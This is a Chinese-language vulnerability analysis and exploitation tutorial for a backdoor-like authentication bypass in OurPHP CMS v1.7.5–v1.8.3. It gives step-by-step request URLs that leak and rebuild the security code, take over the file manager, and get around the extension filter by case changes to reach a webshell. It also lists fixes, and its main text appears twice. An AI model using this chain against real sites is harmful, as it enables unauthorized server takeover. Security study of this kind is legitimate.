某php一处疑似官方后门导致getshell
字数 1248 2025-08-29 08:32:00

OurPHP CMS 后门漏洞分析与利用教学文档

漏洞概述

本漏洞存在于OurPHP CMS (v1.7.5-v1.8.3)中,涉及一个设计不当的后门机制,允许攻击者通过暴露的系统安全校验码和口令码获取系统管理权限,最终可能导致任意文件操作和getshell。

漏洞影响范围

  • OurPHP CMS v1.7.5 至 v1.8.3 版本

漏洞详细分析

1. 安全校验码泄露点

文件路径: function/editor/php/upload_json.php

if(isset($_GET["upload_file"])){
    $json = new Services_JSON();
    echo $json -> uploadsafe();
}

文件路径: function/editor/php/json.php (第238行)

function uploadsafe() {
    global $ourphp;
    return '<!--'.$ourphp['validation'].'||'.substr($ourphp['safecode'], 0, 32);
}

此函数会返回两个关键信息:

  1. 系统口令码($ourphp['validation'])
  2. 安全校验码的前32位(substr($ourphp['safecode'], 0, 32))

2. 安全校验码生成机制

文件路径: function/install/index.php (第288行)

$ourphp_safecode = getRandomString(32);
$safecode6 = substr($ourphp_safecode , 6 , 6);

安全校验码由两部分组成:

  1. 32位随机字符串
  2. 从第6位开始取6位字符

最终的安全校验码为:$ourphp_safecode.$safecode6

3. 权限验证绕过点

文件路径: client/manage/ourphp_filebox.php (第45行)

if (@$_GET['validation'] == $ourphp['validation'] && $_GET['code'] == $ourphp['safecode']){
    $_SESSION['ourphp_outtime'] = time() + 3600;
    $_SESSION['ourphp_out'] = "ourphp";
}

通过提供正确的validation(口令码)和code(完整安全校验码),攻击者可以绕过管理员认证,直接获取文件管理权限。

4. 文件操作漏洞

文件重命名漏洞 (832行):

function renam($rename, $nrename, $folder) {
    global $meurl,$folder;
    $php = explode('.',$nrename);
    $php = end($php);
    if($php == 'php' || $php == 'asp' || $php == 'jsp' || $php == 'aspx'){
        printerror("重命名出错!");
        exit;
    }
}

此过滤机制可以通过大小写绕过(如.PHP, .PhP等)。

漏洞利用步骤

第一步:获取系统敏感信息

访问URL获取口令码和安全校验码部分:

http://target.com/function/editor/php/upload_json.php?upload_file=aaa

响应示例:

<!--12345||QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkm

解析:

  • 口令码(validation): 12345
  • 安全校验码前32位: QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkm

第二步:构造完整安全校验码

根据代码分析,完整安全校验码由两部分组成:

  1. 前32位(已获取)
  2. 从前32位中第6位开始的6位字符

计算第二部分:

原始32位: QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkm
从第6位(0-based)开始取6位: YHlDUg

完整安全校验码: QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg

第三步:获取文件管理权限

使用获取的凭证访问文件管理页面:

http://target.com/client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg

第四步:文件操作

  1. 上传文件:通过文件管理功能上传恶意文件
  2. 重命名绕过:将无害文件(如.txt)重命名为.php文件(使用大小写变种,如.PHP)

防御措施

  1. 升级到最新版本OurPHP CMS
  2. 修改默认的口令码和安全校验码
  3. 删除或限制访问upload_json.php文件
  4. 加强文件类型检查,使用strtolower统一小写比较
  5. 实现更安全的权限验证机制

总结

此漏洞利用链展示了从信息泄露到权限提升再到文件操作的全过程,攻击者可以通过系统暴露的敏感信息构造有效的攻击请求,最终获取系统控制权。开发者在设计安全机制时应避免将敏感信息暴露在前端,并实现更严格的权限验证和文件操作限制。

OurPHP CMS 后门漏洞分析与利用教学文档 漏洞概述 本漏洞存在于OurPHP CMS (v1.7.5-v1.8.3)中,涉及一个设计不当的后门机制,允许攻击者通过暴露的系统安全校验码和口令码获取系统管理权限,最终可能导致任意文件操作和getshell。 漏洞影响范围 OurPHP CMS v1.7.5 至 v1.8.3 版本 漏洞详细分析 1. 安全校验码泄露点 文件路径 : function/editor/php/upload_json.php 文件路径 : function/editor/php/json.php (第238行) 此函数会返回两个关键信息: 系统口令码( $ourphp['validation'] ) 安全校验码的前32位( substr($ourphp['safecode'], 0, 32) ) 2. 安全校验码生成机制 文件路径 : function/install/index.php (第288行) 安全校验码由两部分组成: 32位随机字符串 从第6位开始取6位字符 最终的安全校验码为: $ourphp_safecode.$safecode6 3. 权限验证绕过点 文件路径 : client/manage/ourphp_filebox.php (第45行) 通过提供正确的 validation (口令码)和 code (完整安全校验码),攻击者可以绕过管理员认证,直接获取文件管理权限。 4. 文件操作漏洞 文件重命名漏洞 (832行): 此过滤机制可以通过大小写绕过(如.PHP, .PhP等)。 漏洞利用步骤 第一步:获取系统敏感信息 访问URL获取口令码和安全校验码部分: 响应示例: 解析: 口令码(validation): 12345 安全校验码前32位: QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkm 第二步:构造完整安全校验码 根据代码分析,完整安全校验码由两部分组成: 前32位(已获取) 从前32位中第6位开始的6位字符 计算第二部分: 完整安全校验码: QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg 第三步:获取文件管理权限 使用获取的凭证访问文件管理页面: 第四步:文件操作 上传文件 :通过文件管理功能上传恶意文件 重命名绕过 :将无害文件(如.txt)重命名为.php文件(使用大小写变种,如.PHP) 防御措施 升级到最新版本OurPHP CMS 修改默认的口令码和安全校验码 删除或限制访问 upload_json.php 文件 加强文件类型检查,使用strtolower统一小写比较 实现更安全的权限验证机制 总结 此漏洞利用链展示了从信息泄露到权限提升再到文件操作的全过程,攻击者可以通过系统暴露的敏感信息构造有效的攻击请求,最终获取系统控制权。开发者在设计安全机制时应避免将敏感信息暴露在前端,并实现更严格的权限验证和文件操作限制。